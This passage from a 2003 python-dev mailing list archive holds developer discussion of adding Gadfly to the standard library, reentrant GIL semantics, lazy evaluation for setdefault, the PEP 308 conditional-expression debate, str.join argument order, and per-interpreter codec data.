Feb 2003 13:27:48 +1100." <200302111327.48806.rjones@ekit-inc.com> References: <3C8DB124-3D56-11D7-91DD-000393B63DDC@shangri-la.dropbear.id.au> <200302110140.h1B1ejk02792@pcp02138704pcs.reston01.va.comcast.net> <200302111327.48806.rjones@ekit-inc.com> Message-ID: <200302111514.h1BFESP11311@odiug.zope.com> > On Tue, 11 Feb 2003 12:40 pm, Guido van Rossum wrote: > > No PEP is needed, but I'd like to understand more of the mechanics of > > adding this to the distribution. I've got no problem with adding more > > Python code to the standard library, but (as Brett mentioned) I'd like > > to keep the kjbuckets C code out unless we have a volunteer to both > > clean it up and maintain it. [Richard Jones] > The C code will go away soon, thanks to Anthony's efforts in the kjbuckets > python module (the conversion to the new sets implementation, amongst other > enhacements). That's good news. > > Also, I just looked at the copy of gadfly that's part of Zope, and it > > is about 15,000 lines! (And that's only Python code -- no C code > > included, nor docs.) Do we really need all that? > > The cleaned up version in the sourceforge project is 11k. We may be able to > remove the 1.2kloc parser builder. So that's the version that is being considered for inclusion in Python? > > Who is going to maintain it? > > I have no answer for this. The sourceforge project has a number of > maintainers, but there are old outstanding bugs which have had no attention > (some even have patches). I'm afraid it's at the bottom of my priority list > at present. Mine too. Unless someone volunteers, I'm strongly against adopting this code -- we can't have decaying code in the core distribution. > > Is somebody going to convert the gadfly docs (assuming > > they exist) into LaTeX? > > I converted them to ReST as part of my cleanup, so a docutils writer which > writes the python doc LaTeX format _should_ be possible (it'd be a > nice-to-have for Python documentation regardless :) Agreed. > > Or is it just going to be an undocumented > > pile of code that only people who happen to already know how to use it > > can really use? > > It is documented already. Stuart is looking at implemeting the DB-API 2.0 > interface for it, so the doc will need updating at that point. That's not a > mammoth task though. Great. --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Tue Feb 11 15:25:21 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 11 Feb 2003 10:25:21 -0500 Subject: [Python-Dev] Change definition of Py_END_ALLOW_THREADS? In-Reply-To: Your message of "Tue, 11 Feb 2003 14:18:22 +1100." <002201c2d17c$3c084500$530f8490@eden> References: <002201c2d17c$3c084500$530f8490@eden> Message-ID: <200302111525.h1BFPLi11401@odiug.zope.com> > > > However, to do this auto thread state work properly, I will > > > need to change the definition of Py_END_ALLOW_THREADS. > > > Specifically, Py_END_ALLOW_THREADS needs to be able to > > > handle the fact that the lock may or may not be held > > > when it is called (whereas now, the lock must *not* be held) > > > > Can you explain how the current thread, which explicitly released the > > lock in Py_BEGIN_ALLOW_THREADS, could end up owning the lock when > > Py_END_ALLOW_THREADS is entered? > > The short answer is that the current thread releases the lock (via > Py_BEGIN_ALLOW_THREAD), then makes the call it needs to. This call > may synchronously call back into Python code, acquiring the lock. > Currently, the rule is that the callback must also release the lock > when done. However, I am hoping to change things so that the > callback code need *not* re-release the lock when on the same > thread. Heh? The point of Py_BEGIN_ALLOW_THREAD is to allow *other* threads to run, while the current thread engages in actions that could block indefinitely. The code between BEGIN and END can cause any number of callbacks to run. If one of those callbacks grabs the lock and doesn't release it, no other thread will be able to run, even if a later callback causes the current thread to block waiting for an external event! > The longer answer is to *why* I want to make that change: > > Consider: > > void SomeCallback() > { > PyAutoThreadState_Ensure(); > ... do some Python API stuff. > SomeOtherFunc(); // my helper function. > ... more Python stuff. > PyAutoThreadState_Release(); > } > > Now, consider SomeOtherFunc(): > > void SomeOtherFunc() > { > // This function also needs to use the Python API > // but is called from many many places, where the > // Python context is not always known. > // So use the auto-thread-state > PyAutoThreadState_Ensure(); > .. use the api > PyAutoThreadState_Release(); > } > > As you can see, we have *nested* calls to PyAutoThreadState_Release(). > The question is, in what state should PyAutoThreadState_Release() > leave Python? This suggests that the GIL needs to become a reentrant lock. > To maintain the current semantics, the state must be left *exactly* as it > was when we did the PyAutoThreadState_Ensure(). This would involve keeping > state for each nested AutoThreadState call, which is a PITA, and I believe > unnecessary. PyAutoThreadState_Release() can obviously not unconditionally > release the lock, else it will not be held by SomeCallback() once the call > to SomeOtherFunc() returns. > > The semantics I hope to implement are that the Python GIL is only released > when the *last* nested AutoThreadState call on a thread completes. This > should also help perf, as we can avoid a number of lock transitions. Yes, releasing on the last call makes sense -- that's a reentrant lock. > So, if we consider an extension module: > PyObject *MyExtFunc(PyObject *args, PyObject *self) > { > ... > Py_BEGIN_ALLOW_THREADS > // note the more common case is that "SomeCallBack" is > // invoked *indirectly* via the function being called - but > // for the sake of demo, let's assume a direct call. > SomeCallback(); > Py_END_ALLOW_THREADS > } > > When SomeCallBack() completes, the PyAutoThreadState_Release() call realizes > that this is *not* the bottom of the stack for this thread, so does not > bother to release the lock. Thus, when Py_END_ALLOW_THREADS is hit, we find > that the current thread still has the lock. The bottom of what stack? If the GIL were a reentrant lock, I don't see the problem. > However, if "SomeCallBack()" had been called indirectly on another thread, > then PyAutoThreadState_Release() *would* release the lock, as that call will > be the final _Release() for that thread. Sorry, I don't follow. > ... > > > If the issue is that there is (indeed very likely) code out there that > > calls PyEval_RestoreThread() rather than using the macro, would it be > > possible to change PyEval_RestoreThread() so that it acts the same as > > PyEval_EnsureThread()? > > Yes, this is probably best, but means the doc for PyEval_RestoreThread would > change - in particular: > > : If the lock has been created, the current thread must not have > : acquired it, otherwise deadlock ensues. > > However, as we are lossening this up, I see no real problem. +1. --Guido van Rossum (home page: http://www.python.org/~guido/) From jcea@argo.es Tue Feb 11 15:30:48 2003 From: jcea@argo.es (Jesus Cea Avion) Date: Tue, 11 Feb 2003 16:30:48 +0100 Subject: [Python-Dev] lazy evaluation redux (was dict "setdefault". Feaure request or bugfix?) References: <3E48EB47.8CA7E77A@argo.es> <200302111433.45925.aleax@aleax.it> <3E49069B.FBD8FA@argo.es> Message-ID: <3E491728.84A8BF35@argo.es> > One way to satisfy this would be to redefine setdefault something like > this: > > def setdefault(aDict, aKey, aValue=None, lazy=None): > assert aValue is None or lazy is None > if aKey not in aDict: > aDict[aKey] = (if lazy is None: aValue else: lazy()) > return aDict[aKey] Nice. Nevertheless I keep thinking that current "setdefault" behaviour is not fully documented and counterintuitive :-). So we would need to fix the behaviour or update docs :-p God, you all mutate a fairly simple and concrete consideration into a broad language "lazy evaluation" feature. I'm overhelmed };-) > myDict.setdefault(myKey, lazy=lambda:expensive_function(args)) Nice lambda usage: declare a pseudofunction that calls another function with predefined parameters. Updating my toolbox... :) -- Jesus Cea Avion _/_/ _/_/_/ _/_/_/ jcea@argo.es http://www.argo.es/~jcea/ _/_/ _/_/ _/_/ _/_/ _/_/ _/_/ _/_/ _/_/_/_/_/ PGP Key Available at KeyServ _/_/ _/_/ _/_/ _/_/ _/_/ "Things are not so easy" _/_/ _/_/ _/_/ _/_/ _/_/ _/_/ "My name is Dump, Core Dump" _/_/_/ _/_/_/ _/_/ _/_/ "El amor es poner tu felicidad en la felicidad de otro" - Leibniz From guido@python.org Tue Feb 11 15:35:32 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 11 Feb 2003 10:35:32 -0500 Subject: [Python-Dev] lazy evaluation redux In-Reply-To: Your message of "Tue, 11 Feb 2003 12:37:06 -0200." <20030211143706.GH17348@laranja.org> References: <3E48EB47.8CA7E77A@argo.es> <200302111433.45925.aleax@aleax.it> <20030211143706.GH17348@laranja.org> Message-ID: <200302111535.h1BFZWY11491@odiug.zope.com> Sorry, this thread doesn't belong on python-dev. If you really need lazy evaluation, you can do it without changes to the langage. Just enclose lazy arguments in quotes. Then you can use something like this: import sys def lazy(s): f = sys._getframe(1) return eval(s, f.f_globals, f.f_locals) def foo(): a = 12 b = 42 print lazy("a+b") foo() --Guido van Rossum (home page: http://www.python.org/~guido/) From rich@worldsinfinite.com Tue Feb 11 15:45:06 2003 From: rich@worldsinfinite.com (Rich Harkins) Date: 11 Feb 2003 10:45:06 -0500 Subject: [Python-Dev] lazy evaluation redux (was dict "setdefault". Feaure request or bugfix?) In-Reply-To: <200302111433.45925.aleax@aleax.it> References: <3E48EB47.8CA7E77A@argo.es> <200302111433.45925.aleax@aleax.it> Message-ID: <1044978307.1805.29.camel@rich-laptop> On Tue, 2003-02-11 at 08:33, Alex Martelli wrote: > On Tuesday 11 February 2003 01:23 pm, Jesus Cea Avion wrote: > > >5470&atid=355470> > > > > Reading "python cookbook" I reach a very intelligent > > dictionary construction: to use dictionary "setdefault" > > to avoid a "get" or a "try...except". > > > > Nevertheless current "setdefault" behaviour is > > questionable, since it evaluates the default value when > > it is not necessary. In my mind, "setdefault" should > > evaluate the default value when it need to use it, not > > ALWAYS. Example: > Slightly offtopic, but in the vein of setting default values in a dictionary: I, for one, would be more than happy if a __makeitem__ method existed that would be called when: 1) __getitem__ would normally raise KeyError 2) get() is called without a default 3) setdefault is called without a default __makeitem__ would then accept one parameter, the key name to make, and return the object to return, as appropriate, through those functions. __makeitem__ could also modify the dictionary if caching of the result is desired. This is, IMHO, orthogonal to the __getattr__ method, except it applies to keys, not attributes. I think I would use this more than setdefault() since in many cases the context for the defaulting exists in the dictionary-like object itself and not in the calling context. For example: class Directory(dict): def __init__(self,path): self.path=path def __makeitem__(self,name): filepath=os.path.join(self.path,name) stats=os.stat(filepath) if stat.IS_DIR(stats[0]): return Directory(filepath) else: return File(filepath,stats) def keys(self): return os.path.listdir(self.path) class File(object): def __init__(self,path,stats): self.path=path self.stats=stats def open(self): return open(self.path) Using setdefault() without __makeitem__ I would have to do the following to produce the same output, with bonus methods in my Dictionary: dir.setdefault(name,dir.create(name)) ICK! I'm having to reach into dir to perform a create (in other words I'm going to create whether I like it or not). This seems to me to be less intuitive than: dir[name] Which, based on my abstraction, just does what it looks like it should do - return the appropriate thing. Rich From jeremy@zope.com Tue Feb 11 15:52:14 2003 From: jeremy@zope.com (Jeremy Hylton) Date: 11 Feb 2003 10:52:14 -0500 Subject: [Python-Dev] Re: GadflyDA in core? Or as add-on-product? In-Reply-To: <200302111514.h1BFESP11311@odiug.zope.com> References: <3C8DB124-3D56-11D7-91DD-000393B63DDC@shangri-la.dropbear.id.au> <200302110140.h1B1ejk02792@pcp02138704pcs.reston01.va.comcast.net> <200302111327.48806.rjones@ekit-inc.com> <200302111514.h1BFESP11311@odiug.zope.com> Message-ID: <1044978733.22013.3.camel@slothrop.zope.com> On Tue, 2003-02-11 at 10:14, Guido van Rossum wrote: > > I have no answer for this. The sourceforge project has a number of > > maintainers, but there are old outstanding bugs which have had no attention > > (some even have patches). I'm afraid it's at the bottom of my priority list > > at present. > > Mine too. Unless someone volunteers, I'm strongly against adopting > this code -- we can't have decaying code in the core distribution. We probably do more harm than good if we include code that isn't being actively maintained. It's inclusion in the std library creates the impression that it is bullet-proof and well-maintained. It feels like another asyncore: a body of code the core developers don't understand tool well but will be forced to learn through years of fixing subtle bugs. It would certainly be unusual and kind of neat to ship an SQL database with the standard library, but I doubt many people are expecting to find one there. SourceForge seems like a good home. Jeremy From pedronis@bluewin.ch Tue Feb 11 15:49:06 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Tue, 11 Feb 2003 16:49:06 +0100 Subject: some data on the debate [Python-Dev] Update to PEP308: if-then-else expression References: <002201c2d17c$3c084500$530f8490@eden> <012e01c2d192$14ecf860$125ffea9@oemcomputer> Message-ID: <00ab01c2d1e5$1c438c20$6d94fea9@newmexico> From: "Raymond Hettinger" > I updated the PEP for Guido van Rossum. > > If the cron job is doing its thing, the results will be visible in > a few hours. > > The update reflects updated thinking based on the discussion to-date. Some data about the debate to-date: 1254 ~on-topic PEP 308 posts by 142 posters posters with >2 posts: Erik Max Francis 147 Andrew Koenig 122 Andrew Dalke 81 =3D> ~1/4 posts (350) by 3 poster(s) Aahz 65 holger krekel 60 James J. Besemer 43 Paul Rubin 40 Samuele Pedroni 36 Paul Moore 30 Carlos Ribeiro 27 =3D> ~1/2 posts (651) by 10 poster(s) Laura Creighton 27 Roy Smith 27 David Eppstein 22 Tim Peters 22 Bengt Richter 20 Dave Brueck 20 Michele Simionato 19 Dale Strickland-Clark 18 Paul Paterson 18 Roman Suzi 18 Alex Martelli 17 Christian Tismer 16 Dan Schmidt 14 Evan 13 Michael Hudson 13 Dennis Lee Bieber 12 Anders J. Munch 11 Martin Maney 11 Gerrit Holl 10 John Roth 10 Jp Calderone 10 Sean Ross 10 Anthony Baxter 9 Ian Bicking 8 Alexander Schmolck 7 Carel Fellinger 7 David Gausebeck 7 Piet van Oostrum 7 Raymond Hettinger 7 Jack Diederich 6 jerf at compy dot attbi dot com 6 Alan Daniels 5 Fredrik Lundh 5 Peter Hansen 5 Richard Jones 5 Skip Montanaro 5 Christos TZOTZIOY Georgiou 4 Delaney, Timothy C (Timothy) 4 Donn Cave 4 Neil Hodgson 4 Bjorn Pettersen 3 Chris Liechti 3 Dan Bishop 3 Fran=E7ois_Pinard 3 James P. Rutledge 3 Jamie Guinan 3 Jeremy Fincher 3 John La Rooy 3 Paul Foley 3 William 3 William Park 3 posters with <3 posts: 81 From guido@python.org Tue Feb 11 16:09:56 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 11 Feb 2003 11:09:56 -0500 Subject: some data on the debate [Python-Dev] Update to PEP308: if-then-else expression In-Reply-To: Your message of "Tue, 11 Feb 2003 16:49:06 +0100." <00ab01c2d1e5$1c438c20$6d94fea9@newmexico> References: <002201c2d17c$3c084500$530f8490@eden> <012e01c2d192$14ecf860$125ffea9@oemcomputer> <00ab01c2d1e5$1c438c20$6d94fea9@newmexico> Message-ID: <200302111609.h1BG9u311876@odiug.zope.com> > Some data about the debate to-date: > > 1254 ~on-topic PEP 308 posts > by 142 posters Can you (or somebody) augment that list with who's for and who's against? --Guido van Rossum (home page: http://www.python.org/~guido/) From pedronis@bluewin.ch Tue Feb 11 16:11:16 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Tue, 11 Feb 2003 17:11:16 +0100 Subject: some data on the debate [Python-Dev] Update to PEP308: if-then-else expression References: <002201c2d17c$3c084500$530f8490@eden> <012e01c2d192$14ecf860$125ffea9@oemcomputer> <00ab01c2d1e5$1c438c20$6d94fea9@newmexico> <200302111609.h1BG9u311876@odiug.zope.com> Message-ID: <016501c2d1e8$35047e60$6d94fea9@newmexico> From: "Guido van Rossum" > > Some data about the debate to-date: > > > > 1254 ~on-topic PEP 308 posts > > by 142 posters > > Can you (or somebody) augment that list with who's for and who's > against? the only point I was maybe trying to make with the data, is that it is very difficult to distinguish - just reading the threads - in this case of USENET debate whether conseus is building or the same people are writing the same thing (which they like) very often. So updating the PEP is a risky operation . From niemeyer@conectiva.com Tue Feb 11 16:18:08 2003 From: niemeyer@conectiva.com (Gustavo Niemeyer) Date: Tue, 11 Feb 2003 14:18:08 -0200 Subject: [Python-Dev] Codecs data Message-ID: <20030211161807.GA11135@ibook.distro.conectiva> I belive we have a problem in our current codecs implementation: it doesn't work for multiple interpreter states, because the data is currently statically allocated in codecs.c. That way, only the first interpreter is going to have the codecs lookup working. The following interpreters will try to cross the interpreter state boundary and use the lookup function from the first interpreter, issuing all kinds of weird errors. One solution would be to store that data in the "sys" module (e.g. codec_search_path, codec_search_cache, codec_inited). Can you please advice on how to fix that? I'll be willing to provide a fix with the proposed solution. -- Gustavo Niemeyer [ 2AAC 7928 0FBF 0299 5EB5 60E2 2253 B29A 6664 3A0C ] From aahz@pythoncraft.com Tue Feb 11 16:25:19 2003 From: aahz@pythoncraft.com (Aahz) Date: Tue, 11 Feb 2003 11:25:19 -0500 Subject: some data on the debate [Python-Dev] Update to PEP308: if-then-else expression In-Reply-To: <200302111609.h1BG9u311876@odiug.zope.com> References: <002201c2d17c$3c084500$530f8490@eden> <012e01c2d192$14ecf860$125ffea9@oemcomputer> <00ab01c2d1e5$1c438c20$6d94fea9@newmexico> <200302111609.h1BG9u311876@odiug.zope.com> Message-ID: <20030211162518.GA14552@panix.com> On Tue, Feb 11, 2003, Guido van Rossum wrote: >Samuele: >> >> Some data about the debate to-date: >> >> 1254 ~on-topic PEP 308 posts >> by 142 posters > > Can you (or somebody) augment that list with who's for and who's > against? That would be difficult, given that there are now two leading contenders (if : x else: y vs. ?? x || y). Given that both have only emerged in the last day or so, there's been no time to evaluate which is ahead. I propose to let the discussion simmer another week or so before voting. -- Aahz (aahz@pythoncraft.com) <*> http://www.pythoncraft.com/ Register for PyCon now! http://www.python.org/pycon/reg.html From guido@python.org Tue Feb 11 16:24:36 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 11 Feb 2003 11:24:36 -0500 Subject: some data on the debate [Python-Dev] Update to PEP308: if-then-else expression In-Reply-To: Your message of "Tue, 11 Feb 2003 17:11:16 +0100." <016501c2d1e8$35047e60$6d94fea9@newmexico> References: <002201c2d17c$3c084500$530f8490@eden> <012e01c2d192$14ecf860$125ffea9@oemcomputer> <00ab01c2d1e5$1c438c20$6d94fea9@newmexico> <200302111609.h1BG9u311876@odiug.zope.com> <016501c2d1e8$35047e60$6d94fea9@newmexico> Message-ID: <200302111624.h1BGOaU12718@odiug.zope.com> > the only point I was maybe trying to make with the data, is that it > is very difficult to distinguish - just reading the threads - in > this case of USENET debate whether conseus is building or the same > people are writing the same thing (which they like) very often. I'm glad I don't have to read all that. :-) > So updating the PEP is a risky operation . Yeah. In the end it's still my decision. --Guido van Rossum (home page: http://www.python.org/~guido/) From tismer@tismer.com Tue Feb 11 18:04:57 2003 From: tismer@tismer.com (Christian Tismer) Date: Tue, 11 Feb 2003 19:04:57 +0100 Subject: [Python-Dev] str.join, string.join Message-ID: <3E493B49.6060604@tismer.com> Hi Tim, pydev, while fighting this conditional super thread, I stumbled over something about "".join, as it was used as an argument for reading LtoR. Citing A. Koenig and Ahz: """ ','.join(lines) Aahz> Many people (including me) think it's *NOT* Pythonic. If I were trying to make code easy to understand for inexperienced programmers, I would write str.join(',', lines) instead of ','.join(lines). """ I have two observations: 1) Through introduction of strings as class-like objects, new calling patterns are generated. Unfortunately, this is the opposite as in the string module: str.join(',', lines) # vs. string.join(lines, ',') What is now pythonic. Was it (a posteriori) a mistake to add join as a method to strings, since it creates a calling pattern that is incompatible with the string function? Side remark: This error message is confusing: >>> str.join(" ") Traceback (most recent call last): File "", line 1, in ? TypeError: join() takes exactly one argument (0 given) Well, the method is probably not well suited to be called by the class, only (expecting to be a method, always). But now it exists. 2) Given the str "class", we could use it to make the string module absolutely redundant, since we can put all string constants into str now. So we would be able to use str.digits # instead of string.digits Trying to make sense of 1) and 2), I get into trouble because of the inconsistent join issue. What is the long-term way to make this pythonic again: Should "".join be dropped in favor of a class method which reads like the old string.join? Or should it be kept like today, exist as "".join(stuff) and str.join("", stuff), and string.join becomes deprecated? ciao - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From aaron@reportlab.com Tue Feb 11 18:59:47 2003 From: aaron@reportlab.com (Aaron Watters) Date: Tue, 11 Feb 2003 13:59:47 -0500 Subject: [Python-Dev] Re: Gadfly in Python core References: <43F63A41-3C32-11D7-91DD-000393B63DDC@shangri-la.dropbear.id.au> Message-ID: <3E494823.5060401@reportlab.com> Hi Guido, Stuart, python-dev, Stuart was nice enough to forward this information to me and I would be delighted. I don't know exactly how to "transfer" a copyright, but I'd be happy to do it. Thanks for the interest! -- Aaron Watters (ps: I would have sent a more appropriate email yesterday, Stuart, but I was snowed under with work) Stuart Bishop wrote: > Hi. > > I don't know if you saw this thread or not on Python-dev: > http://mail.python.org/pipermail/python-dev/2003-January/032295.html > > Looks like Gadfly can go into the core Python distribution. One of the > outstanding issues is that of the licence, which concerned Guido: > http://mail.python.org/pipermail/python-dev/2003-January/032305.html > > Would you be interested in allowing the PSF to distribute Gadfly under > its own licence to simplify things? > From aahz@pythoncraft.com Tue Feb 11 20:21:33 2003 From: aahz@pythoncraft.com (Aahz) Date: Tue, 11 Feb 2003 15:21:33 -0500 Subject: [Python-Dev] str.join, string.join In-Reply-To: <3E493B49.6060604@tismer.com> References: <3E493B49.6060604@tismer.com> Message-ID: <20030211202133.GB20956@panix.com> On Tue, Feb 11, 2003, Christian Tismer wrote: > > Unfortunately, this is the opposite as in > the string module: > str.join(',', lines) # vs. > string.join(lines, ',') When it was only string.join(), I always got the order of arguments reversed, so I'd be quite happy to have the class method be canonical, with the arguments in that order. -- Aahz (aahz@pythoncraft.com) <*> http://www.pythoncraft.com/ Register for PyCon now! http://www.python.org/pycon/reg.html From python@rcn.com Tue Feb 11 20:33:07 2003 From: python@rcn.com (Raymond Hettinger) Date: Tue, 11 Feb 2003 15:33:07 -0500 Subject: some data on the debate [Python-Dev] Update to PEP308: if-then-else expression References: <002201c2d17c$3c084500$530f8490@eden> <012e01c2d192$14ecf860$125ffea9@oemcomputer> <00ab01c2d1e5$1c438c20$6d94fea9@newmexico> <200302111609.h1BG9u311876@odiug.zope.com> <20030211162518.GA14552@panix.com> Message-ID: <009201c2d20c$c94e7d40$370ca044@oemcomputer> [Aahz] > That would be difficult, given that there are now two leading > contenders (if : x else: y vs. ?? x || y). Given that both > have only emerged in the last day or so, there's been no time to > evaluate which is ahead. Hmm, one looks like Smalltalk and the other like Perl ;) Though both are clear and get the job done, the first bugs me for three reasons: * you have to look twice to see that you're dealing with a statement rather than an expression * when looking at an expression, my mind is trained to see alpha characters as a variable or function name * the enclosing parenthesis requirement feels wrong > I propose to let the discussion simmer another > week or so before voting. Excellent plan. Raymond Hettinger From mchermside@ingdirect.com Tue Feb 11 20:42:48 2003 From: mchermside@ingdirect.com (Chermside, Michael) Date: Tue, 11 Feb 2003 15:42:48 -0500 Subject: some data on the debate [Python-Dev] Update to PEP308: if-then-else expression Message-ID: <7F171EB5E155544CAC4035F0182093F03CF6FE@INGDEXCHSANC1.ingdirect.com> [Samuele Pedroni creates list of # of posts per person] I'm not quite sure how you generated this list, but I notice that I'm not on it. Now I *HAVE* been trying very hard to make FEW posts (but hopefully insightful ones), but I still made it to the threshold of 3. I don't particularly care about the list, but if Guido wants a listing of who's pro/con, then we shouldn't exclude people who have tried to REDUCE the amount of noise by posting a SMALL number of times. -- Michael Chermside From python@rcn.com Tue Feb 11 21:09:05 2003 From: python@rcn.com (Raymond Hettinger) Date: Tue, 11 Feb 2003 16:09:05 -0500 Subject: some data on the debate [Python-Dev] Update to PEP308: if-then-else expression References: <002201c2d17c$3c084500$530f8490@eden> <012e01c2d192$14ecf860$125ffea9@oemcomputer> <00ab01c2d1e5$1c438c20$6d94fea9@newmexico> <200302111609.h1BG9u311876@odiug.zope.com> <20030211162518.GA14552@panix.com> <009201c2d20c$c94e7d40$370ca044@oemcomputer> Message-ID: <00dd01c2d211$cfe0fa20$370ca044@oemcomputer> > Hmm, one looks like Smalltalk and the other like Perl ;) Excuse me. Posted to the wrong list. Raymond Hettinger From zack@codesourcery.com Tue Feb 11 21:16:24 2003 From: zack@codesourcery.com (Zack Weinberg) Date: Tue, 11 Feb 2003 13:16:24 -0800 Subject: [Python-Dev] str.join, string.join In-Reply-To: <20030211202133.GB20956@panix.com> (Aahz's message of "Tue, 11 Feb 2003 15:21:33 -0500") References: <3E493B49.6060604@tismer.com> <20030211202133.GB20956@panix.com> Message-ID: <87u1fav7pz.fsf@egil.codesourcery.com> Aahz writes: > On Tue, Feb 11, 2003, Christian Tismer wrote: >> >> Unfortunately, this is the opposite as in >> the string module: >> str.join(',', lines) # vs. >> string.join(lines, ',') > > When it was only string.join(), I always got the order of arguments > reversed, so I'd be quite happy to have the class method be canonical, > with the arguments in that order. How about seq.join(',') where seq is an instance of a sequence type? zw From guido@python.org Tue Feb 11 21:20:06 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 11 Feb 2003 16:20:06 -0500 Subject: [Python-Dev] str.join, string.join In-Reply-To: Your message of "Tue, 11 Feb 2003 13:16:24 PST." <87u1fav7pz.fsf@egil.codesourcery.com> References: <3E493B49.6060604@tismer.com> <20030211202133.GB20956@panix.com> <87u1fav7pz.fsf@egil.codesourcery.com> Message-ID: <200302112120.h1BLK6M19266@odiug.zope.com> PLEASE! GET THIS DISCUSSION OFF PYTHON-DEV! NO MORE COMMENTS ON JOIN()! --Guido van Rossum (home page: http://www.python.org/~guido/) From mal@lemburg.com Tue Feb 11 22:51:07 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Tue, 11 Feb 2003 23:51:07 +0100 Subject: [Python-Dev] Codecs data In-Reply-To: <20030211161807.GA11135@ibook.distro.conectiva> References: <20030211161807.GA11135@ibook.distro.conectiva> Message-ID: <3E497E5B.5000300@lemburg.com> Gustavo Niemeyer wrote: > I belive we have a problem in our current codecs implementation: it > doesn't work for multiple interpreter states, because the data is > currently statically allocated in codecs.c. That way, only the first > interpreter is going to have the codecs lookup working. The following > interpreters will try to cross the interpreter state boundary and use > the lookup function from the first interpreter, issuing all kinds of > weird errors. > > One solution would be to store that data in the "sys" module > (e.g. codec_search_path, codec_search_cache, codec_inited). > > Can you please advice on how to fix that? I'll be willing to provide > a fix with the proposed solution. Martin had the idea to put these globals (along with other similar globals) in the thread state structure. I believe that's the right approach or at least hints in the right direction (we don't want the globals to be per thread, but there doesn't seem to be a better place). Also see: https://sourceforge.net/tracker/?func=detail&aid=663074&group_id=5470&atid=105470 -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 11 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 49 days left EuroPython 2003, Charleroi, Belgium: 133 days left From mal@lemburg.com Tue Feb 11 22:53:50 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Tue, 11 Feb 2003 23:53:50 +0100 Subject: [Python-Dev] Codecs data In-Reply-To: <3E497E5B.5000300@lemburg.com> References: <20030211161807.GA11135@ibook.distro.conectiva> <3E497E5B.5000300@lemburg.com> Message-ID: <3E497EFE.9030707@lemburg.com> M.-A. Lemburg wrote: > Gustavo Niemeyer wrote: > >> I belive we have a problem in our current codecs implementation: it >> doesn't work for multiple interpreter states, because the data is >> currently statically allocated in codecs.c. That way, only the first >> interpreter is going to have the codecs lookup working. The following >> interpreters will try to cross the interpreter state boundary and use >> the lookup function from the first interpreter, issuing all kinds of >> weird errors. >> >> One solution would be to store that data in the "sys" module >> (e.g. codec_search_path, codec_search_cache, codec_inited). >> >> Can you please advice on how to fix that? I'll be willing to provide >> a fix with the proposed solution. > > > Martin had the idea to put these globals (along with other > similar globals) in the thread state structure. I believe that's > the right approach or at least hints in the right direction (we > don't want the globals to be per thread, but there doesn't > seem to be a better place). Hmm, there is something called PyInterpreterState. Perhaps that's what we want ?! (and Martin was thinking about) > Also see: > https://sourceforge.net/tracker/?func=detail&aid=663074&group_id=5470&atid=105470 -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 11 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 49 days left EuroPython 2003, Charleroi, Belgium: 133 days left From python@rcn.com Wed Feb 12 00:53:45 2003 From: python@rcn.com (Raymond Hettinger) Date: Tue, 11 Feb 2003 19:53:45 -0500 Subject: some data on the debate [Python-Dev] Update to PEP308: if-then-else expression References: <002201c2d17c$3c084500$530f8490@eden> <012e01c2d192$14ecf860$125ffea9@oemcomputer> <00ab01c2d1e5$1c438c20$6d94fea9@newmexico> <200302111609.h1BG9u311876@odiug.zope.com> Message-ID: <007501c2d231$32711f20$a50ea044@oemcomputer> > Can you (or somebody) augment that list with who's for and who's > against? Maybe a wiki would be helpful here. Have one index page link to each proposal. Each proposal with a page formatted as: proposed syntax ------------------- bdfl comments if any ------------------- arguments for .................... list of supporters ------------------- arguments against ..................... list of naysayers If wiki theory holds true, it will flesh it self-out, allow people to change their minds, and allow arguments to be said once and then refined to their purest form We can all see who supports what and, in the end, a copy of the wiki can serve as a permanent record of what was learned. Raymond Hettinger From esr@thyrsus.com Tue Feb 11 00:04:37 2003 From: esr@thyrsus.com (Eric S. Raymond) Date: Mon, 10 Feb 2003 19:04:37 -0500 Subject: [Python-Dev] vox populii illiterati In-Reply-To: References: <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <20030211000437.GE3335@thyrsus.com> Ka-Ping Yee : > I'm -1 on any syntax that's out of order. I think that would be > terribly confusing, and i don't think there's any example of a > successful out-of-order ?: syntax in another language, is there? > > It's not just that it's out of order -- it's that something gets > short-circuited out of order. The whole idea of the very *first* > thing you see getting short-circuited is unacceptably weird and > unexpected for me. I'm with Ping on this. Yes, I know about comprehensions. I didn't like syntax either. Maybe it's a time to consider (guard ? true-arm ! false-arm). -- Eric S. Raymond From exarkun@intarweb.us Wed Feb 12 01:16:14 2003 From: exarkun@intarweb.us (Jp Calderone) Date: Tue, 11 Feb 2003 20:16:14 -0500 Subject: [Python-Dev] lazy evaluation redux (was dict "setdefault". Feaure request or bugfix?) In-Reply-To: <3E491728.84A8BF35@argo.es> References: <3E48EB47.8CA7E77A@argo.es> <200302111433.45925.aleax@aleax.it> <3E49069B.FBD8FA@argo.es> <3E491728.84A8BF35@argo.es> Message-ID: <20030212011614.GC19707@meson.dyndns.org> --9Ek0hoCL9XbhcSqy Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Feb 11, 2003 at 04:30:48PM +0100, Jesus Cea Avion wrote: > > One way to satisfy this would be to redefine setdefault something like > > this: > >=20 > > def 